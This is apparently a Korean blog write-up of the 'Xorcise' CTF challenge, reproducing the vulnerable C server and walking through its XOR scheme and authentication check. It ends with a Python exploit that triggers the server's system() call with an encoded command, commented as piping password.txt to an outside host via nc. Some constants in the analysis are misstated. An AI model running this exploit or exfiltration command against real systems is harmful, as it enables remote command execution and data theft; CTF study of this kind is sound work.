문제 파일
/* -------------------------- XORCISE ENTERPRISE EDITION -------------------------- */ #include#include #include #include #include #include #include #include #include #include #include #include #define BLOCK_SIZE 8 #define MAX_BLOCKS 16 #define FILE_ERROR "Unable to open file." #define AUTH_ERROR "Authentication Required." // encrypted struct cipher_data { uint8_t length; // max Length : 255 uint8_t key[8]; uint8_t bytes[128]; }; typedef struct cipher_data cipher_data; struct request { uint32_t opcode; uint32_t checksum; uint8_t data[100]; }; typedef struct request request; char password[16]; time_t start_time; void hexdump(unsigned char *buf, size_t len, FILE *fd) { size_t loop = 0, diff = 0, left=0; unsigned char *p = NULL; char tmp[24]; p = buf; memset(tmp, 0, sizeof(tmp)); for (loop = 0; loop < len; ++loop, ++p) { if (loop && !(loop % 16)) { fprintf(fd, "| %s\n", tmp); memset(tmp, 0, 16); } fprintf(fd, "%02x ", *p); tmp[loop % 16] = isprint(*p)?*p:'.'; } diff = loop % 16; if (!diff) { fprintf(fd, "| %s\n", tmp); return; } left = 16 - diff; for (loop = 0; loop < left; ++loop) { fprintf(fd, " "); } fprintf(fd, "| %s\n", tmp); } uint32_t cluster_f(uint8_t *data, uint32_t length) { uint32_t hash; uint32_t iv; uint32_t temp; uint32_t rounds; uint8_t cluster[]={ 0x31, 0x24, 0x13, 0x41, 0x37, 0x6D, 0x73, 0xFF, 0x00, 0xCC, 0x99, 0x01}; uint8_t cluster2[]={ 0x11, 0x01, 0x22, 0x06, 0x33, 0x20, 0x44, 0xD0, 0x55, 0x0F, 0x6E, 0x00}; rounds = length < 16 ? 16: length; iv = 0x10F00F01; hash = iv; while (rounds) { iv ^= data[rounds % length]; iv <<= 8; iv ^= cluster[rounds % sizeof(cluster)]; iv <<= 3; iv ^= cluster2[rounds%sizeof(cluster2)]; hash ^= iv; temp = hash; temp ^= cluster2[(temp<<2) % sizeof(cluster2)]; hash <<= 1; hash += cluster[iv % sizeof(cluster)]; hash <<= 1; hash ^= cluster[(temp & 0xFF00)%sizeof(cluster)]; temp <<= 1; temp ^= cluster[(temp<<2) % sizeof(cluster2)]; hash += temp; --rounds; } return hash; } uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop; uint32_t block_index; uint8_t xor_mask = 0x8F; memcpy(buf, data->bytes, sizeof(buf)); // Vulnerable.. // 135 / 8 == 16 if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) { data->length = BLOCK_SIZE * MAX_BLOCKS; } for (loop = 0; loop < data->length; loop += 8) { for (block_index = 0; block_index < 8; ++block_index) { buf[loop+block_index]^=(xor_mask^data->key[block_index]); } } memcpy(output, buf, sizeof(buf)); } uint32_t is_authenticated(request *packet, uint8_t *key) { char buf[128]; uint32_t hash_a; uint32_t hash_b; uint32_t auth_checksum; memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, key, 8); hash_a = cluster_f(buf, 24); printf("hash_a [%08x] from: \n", hash_a); hexdump(buf, 24, stdout); memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, packet->data, 100); hash_b = cluster_f(buf, 116); printf("hash_b [%08x] from: \n", hash_b); hexdump(buf, 116, stdout); memset(buf, 0, sizeof(buf)); memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a)); memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b)); auth_checksum = cluster_f(buf, 8); printf("auth_checksum = %08x\n", auth_checksum); printf("packet->checksum = %08x\n", packet->checksum); if (auth_checksum == packet->checksum) { return 1; } return 0; } void reap_exited_processes(int sig_number) { pid_t process_id; while (1) { process_id = waitpid(-1, NULL, WNOHANG); if ((0==process_id) || (-1==process_id)) { break; } } return; } void read_file(int sockfd, uint8_t *name) { FILE *fd; size_t bytes_read; uint8_t buf[128]; fd = fopen(name, "r"); printf("file name is [%s] \n", name); if (NULL == fd) { printf("Error: %s\n", FILE_ERROR); send(sockfd, FILE_ERROR, strlen(FILE_ERROR), 0); return; } memset(buf, 0, sizeof(buf)); while (1) { bytes_read = fread(buf, 1, sizeof(buf), fd); if (0 == bytes_read) { break; } send(sockfd, buf, bytes_read, 0); } fclose(fd); return; } void uptime(int sockfd) { char buf[32]; memset(buf, 0, sizeof(buf)); sprintf(buf, "%u seconds", (uint32_t )start_time); send(sockfd, buf, strlen(buf), 0); } void timestamp(int sockfd) { char buf[32]; time_t current_time; current_time = time(NULL); memset(buf, 0, sizeof(buf)); sprintf(buf, "timestamp: %u", (uint32_t )current_time); send(sockfd, buf, strlen(buf), 0); } int process_connection(int sockfd) { ssize_t bytes_read; cipher_data encrypted; uint8_t decrypted[128]; request *packet; uint32_t authenticated; memset(&encrypted, 0, sizeof(encrypted)); memset(&decrypted, 0, sizeof(decrypted)); bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (bytes_read <= 0) { printf("Error: failed to read socket\n"); return -1; } if (encrypted.length > bytes_read) { printf("Error: invalid length in packet\n"); return -1; } decipher(&encrypted, decrypted); // printf("encrypted->length: 0x%02x\n", encrypted.length); // printf("encrypted->key: "); // hexdump(encrypted.key, sizeof(encrypted.key), stdout); // printf("encrypted->bytes:\n"); // hexdump(encrypted.bytes, sizeof(encrypted.bytes), stdout); // printf("deciphered to: \n"); // hexdump(decrypted, sizeof(decrypted), stdout); packet = (request *)&decrypted; authenticated = is_authenticated(packet, encrypted.key); if (1 == authenticated) { printf("Packet is authenticated\n"); } else { printf("Packet is NOT authenticated\n"); } switch (packet->opcode) { /* functions: - timestamp - uptime - read file - execute command */ case 0x01: printf("Timestamp Request\n"); timestamp(sockfd); break; case 0x24: printf("Uptime Request\n"); uptime(sockfd); break; case 0x3A: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Read File Request: %s\n", packet->data); read_file(sockfd, packet->data); break; case 0x5C: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Execute Command Request: %s\n", packet->data); system(packet->data); break; default: printf("Unknown opcode: %08x\n", packet->opcode); break; } return 0; } int tcp_server_loop(uint16_t port) { int sd; int client_sd; struct sockaddr_in server; struct sockaddr_in client; socklen_t address_len; pid_t process_id; struct sigaction sig_manager; memset(&server, 0, sizeof(server)); memset(&client, 0, sizeof(client)); sig_manager.sa_handler = reap_exited_processes; sig_manager.sa_flags = SA_RESTART; if (-1 == sigfillset(&sig_manager.sa_mask)) { printf("Error: sigfillset failed\n"); return -1; } if (-1 == sigaction(SIGCHLD, &sig_manager, NULL)) { printf("Error: sigaction failed\n"); return -1; } sd = socket(AF_INET, SOCK_STREAM, 0); if (sd < 0) { printf("Error: failed to acquire socket\n"); return -1; } address_len = sizeof(struct sockaddr); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = INADDR_ANY; if (-1 == bind(sd, (struct sockaddr *)&server, address_len)) { printf("Error: failed to bind on 0.0.0.0:%i\n", port); return -1; } if (-1 == listen(sd, SOMAXCONN)) { printf("Error: failed to listen on socket\n"); return -1; } printf("Entering main listening loop...\n"); while (1) { client_sd = accept(sd, (struct sockaddr *)&client, &address_len); if (-1 == client_sd) { printf("Error: failed accepting connection, continuing\n"); continue; } printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); process_id = fork(); if (0 == process_id) { process_connection(client_sd); close(client_sd); close(sd); exit(0); } close(client_sd); } } int main(int argc, char *argv[]) { FILE *fd; char *newline; printf(" ---------------------------------------\n"); printf(" -- XORCISE 1.1b --\n"); printf(" -- NOW WITH MORE CRYPTOGRAPHY!!! --\n"); printf(" ---------------------------------------\n"); fd = fopen("password.txt", "rb"); if (NULL == fd) { printf("Error: failed to open password.txt!\n"); exit(1); } start_time = time(NULL); memset(password, 0, sizeof(password)); fgets(password, sizeof(password), fd); fclose(fd); newline = strchr(password, 0x0a); if (NULL != newline) { *newline = 0x0; } tcp_server_loop(24001); return 0; }
위의 소스는 Xorcise의 소스코드인데, 분석을 해보자.
먼저 main함수를 보자.
int main(int argc, char *argv[]) { FILE *fd; char *newline; printf(" ---------------------------------------\n"); printf(" -- XORCISE 1.1b --\n"); printf(" -- NOW WITH MORE CRYPTOGRAPHY!!! --\n"); printf(" ---------------------------------------\n"); fd = fopen("password.txt", "rb"); if (NULL == fd) { printf("Error: failed to open password.txt!\n"); exit(1); } start_time = time(NULL); memset(password, 0, sizeof(password)); fgets(password, sizeof(password), fd); fclose(fd); newline = strchr(password, 0x0a); if (NULL != newline) { *newline = 0x0; } tcp_server_loop(24001); return 0; }
password.txt를 읽어서 password변수(전역) 저장 하는 것을 알 수 있다.
그리고 tcp_server_loop함수를 호출하여 소켓 통신을 하게 되는데 소스코드를 보자.
int tcp_server_loop(uint16_t port) { int sd; int client_sd; struct sockaddr_in server; struct sockaddr_in client; socklen_t address_len; pid_t process_id; struct sigaction sig_manager; memset(&server, 0, sizeof(server)); memset(&client, 0, sizeof(client)); sig_manager.sa_handler = reap_exited_processes; sig_manager.sa_flags = SA_RESTART; if (-1 == sigfillset(&sig_manager.sa_mask)) { printf("Error: sigfillset failed\n"); return -1; } if (-1 == sigaction(SIGCHLD, &sig_manager, NULL)) { printf("Error: sigaction failed\n"); return -1; } sd = socket(AF_INET, SOCK_STREAM, 0); if (sd < 0) { printf("Error: failed to acquire socket\n"); return -1; } address_len = sizeof(struct sockaddr); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = INADDR_ANY; if (-1 == bind(sd, (struct sockaddr *)&server, address_len)) { printf("Error: failed to bind on 0.0.0.0:%i\n", port); return -1; } if (-1 == listen(sd, SOMAXCONN)) { printf("Error: failed to listen on socket\n"); return -1; } printf("Entering main listening loop...\n"); while (1) { client_sd = accept(sd, (struct sockaddr *)&client, &address_len); if (-1 == client_sd) { printf("Error: failed accepting connection, continuing\n"); continue; } printf("Accepted connection from %s\n", inet_ntoa(client.sin_addr)); process_id = fork(); if (0 == process_id) { process_connection(client_sd); close(client_sd); close(sd); exit(0); } close(client_sd); } }
딱히 별다를게 없이 소켓을 할당하고 통신을 위해서 fork로 자식프로세스한테 process_connection을 실행시키도록 한다.
그럼 process_connection의 코드를 보자.
int process_connection(int sockfd) { ssize_t bytes_read; cipher_data encrypted; uint8_t decrypted[128]; request *packet; uint32_t authenticated; memset(&encrypted, 0, sizeof(encrypted)); memset(&decrypted, 0, sizeof(decrypted)); bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0); if (bytes_read <= 0) { printf("Error: failed to read socket\n"); return -1; } if (encrypted.length > bytes_read) { printf("Error: invalid length in packet\n"); return -1; } decipher(&encrypted, decrypted); packet = (request *)&decrypted; authenticated = is_authenticated(packet, encrypted.key); if (1 == authenticated) { printf("Packet is authenticated\n"); } else { printf("Packet is NOT authenticated\n"); } switch (packet->opcode) { /* functions: - timestamp - uptime - read file - execute command */ case 0x01: printf("Timestamp Request\n"); timestamp(sockfd); break; case 0x24: printf("Uptime Request\n"); uptime(sockfd); break; case 0x3A: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Read File Request: %s\n", packet->data); read_file(sockfd, packet->data); break; case 0x5C: if (0 == authenticated) { send(sockfd, AUTH_ERROR, strlen(AUTH_ERROR), 0); return -1; } printf("Execute Command Request: %s\n", packet->data); system(packet->data); break; default: printf("Unknown opcode: %08x\n", packet->opcode); break; } return 0; }
보다 시피 소켓을 통해 cipher_data 구조체를 받아서 decipher함수를 호출한다.
cipher_data 구조체는 아래와 같다.
// encrypted struct cipher_data { uint8_t length; // max Length : 255 uint8_t key[8]; uint8_t bytes[128]; }; typedef struct cipher_data cipher_data;
길이와 키값, 그리고 바이트 값들을 가지고 있다.
이 구조체를 이용해서 decipher함수를 실행하게 되니 한번 소스코드를 보자.
decipher함수는 아래와 같다.
uint32_t decipher(cipher_data *data, uint8_t *output) { uint8_t buf[MAX_BLOCKS * BLOCK_SIZE]; uint32_t loop; uint32_t block_index; uint8_t xor_mask = 0x8F; memcpy(buf, data->bytes, sizeof(buf)); if ((data->length / BLOCK_SIZE) > MAX_BLOCKS) { data->length = BLOCK_SIZE * MAX_BLOCKS; } for (loop = 0; loop < data->length; loop += 8) { for (block_index = 0; block_index < 8; ++block_index) { buf[loop+block_index]^=(xor_mask^data->key[block_index]); } } memcpy(output, buf, sizeof(buf)); }
최대 블록수(MAX_BLOCKS)는 8개 이고, BLOCK_SIZE는 16이다.
각 블록 당 데이터들을 bytes[loop + block_index] ^ 0x8f ^ key[block_index]를 해준다.
그런데 cipher_data는 우리가 직접 전송한 패킷이다.
다른 말로하면 조작할 수 있다는 건데, key 배열을 0x00으로 전부 초기화 시켜버리면
최종적으로 buf[loop + block_index] ^= 0x8f가 된다는 말이다. (간단해졌죠.)
근데 이것 마저 간단하게 바꿀 수 있는데,
저 이중 포문은 사실상 포문 하나와 마찬가지로 볼 수 있기 때문에
이렇게 바꿀 수 있다.
for(int p = 0; p < data->length; p++) buf[p] ^= 0x8f;
결국 배열에 대해서 0x8f를 해준다는 것이기 때문에 output에 복사할 데이터를 예상하기 쉬워졌다.
output은 결과적으로 decipher함수를 빠져나와 request 구조체로 형변환이 일어나게되는데,
request 구조체는 아래와 같다.
struct request { uint32_t opcode; uint32_t checksum; uint8_t data[100]; }; typedef struct request request;
이렇게 생겼는데, 먼저 우리는 이 데이터를 예상하기 쉬워졌기 때문에
opcode에 먼저 0x5c값을 넣기위해
0x8f ^ 0x5c 한 값을 cipher_data->bytes의 맨 처음에 넣어줘야 한다.
또 아까전에 예상하기 쉬워지기 위해서는 key배열이 전부 0으로 초기화 되야한다고 했으니 key 배열에 0을 넣어준다.
현재 패킷 구조
패킷 총 길이 |
0x0000000000000000 |
0x0000008f ^ 0x0000005c |
... |
bytes[128] |
자 이제 어느정도 까지 했는데, is_authticated 함수를 분석 해보자.
uint32_t is_authenticated(request *packet, uint8_t *key) { char buf[128]; uint32_t hash_a; uint32_t hash_b; uint32_t auth_checksum; memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, key, 8); hash_a = cluster_f(buf, 24); memset(buf, 0, sizeof(buf)); memcpy(buf, password, 16); memcpy(buf+16, packet->data, 100); hash_b = cluster_f(buf, 116); memset(buf, 0, sizeof(buf)); memcpy(buf, (uint8_t *)&hash_a, sizeof(hash_a)); memcpy(buf+4, (uint8_t *)&hash_b, sizeof(hash_b)); auth_checksum = cluster_f(buf, 8); printf("auth_checksum = %08x\n", auth_checksum); printf("packet->checksum = %08x\n", packet->checksum); if (auth_checksum == packet->checksum) { return 1; } return 0; }
request구조체를 입력받아 cluster_f함수를 통해 해쉬화를 해주고 있다.
checksum값을 출력해주는데 어차피 packet의 checksum값만 변경해주면 우회가 가능하다.
지금까지 패킷 구조를 보게되면 아래와 같다.
패킷 총 길이 | 0x0000000000000000 | 0x8f_xor_opcode | checksum | bytes[100] |
이렇게 구성한뒤 패킷을 전송하면 system을 실행시킬 수 있을 것이다.
system함수에서 명령어를 bytes에서 받아오기 때문에 bytes에 명령어를 집어 넣어주면 되겠다.
아 물론 0x8f으로 xor한 뒤에 넣어줘야 한다.
최종 Payload
from socket import * import struct, telnetlib b = lambda x : struct.pack("<B", x) l = lambda x : struct.pack("<L", x) q = lambda x : struct.pack("<Q", x) sock = socket(AF_INET, SOCK_STREAM) sock.connect(('127.0.0.1', 24001)) cipher_data = "" cipher_data += b(0x87) # max length cipher_data += q(0x00) # key is 0x0000000000000000 cipher_data += l(0x8f8f8fd3) # opcode cipher_data += l(0xE0B6AE43) # checksum # cat password.txt | nc ip 9505; cipher_data += "\xec\xee\xfb\xaf\xff\xee\xfc\xfc\xf8\xe0\xfd\xeb\xa1\xfb\xf7\xfb\xaf\xf3\xaf\xe1\xec\xaf\xbf\xaf\xb6\xba\xbf\xba\xb4" cipher_data += "A" * (0x87 - len(cipher_data)) sock.send(cipher_data + "\n") t = telnetlib.Telnet() t.sock = sock t.interact()
'Write up > CTF' 카테고리의 다른 글
[RCTF 2017] RCalc (0) | 2017.05.22 |
---|---|
[Codegate2017 Pre] EasyCrack101 (0) | 2017.02.11 |
[Codegate2017 Pre] BabyMISC (0) | 2017.02.11 |
[Codegate2017 Pre] BabyPwn (0) | 2017.02.11 |
[RC3 2016] IMS-easy (150pt) *수정 (0) | 2016.11.20 |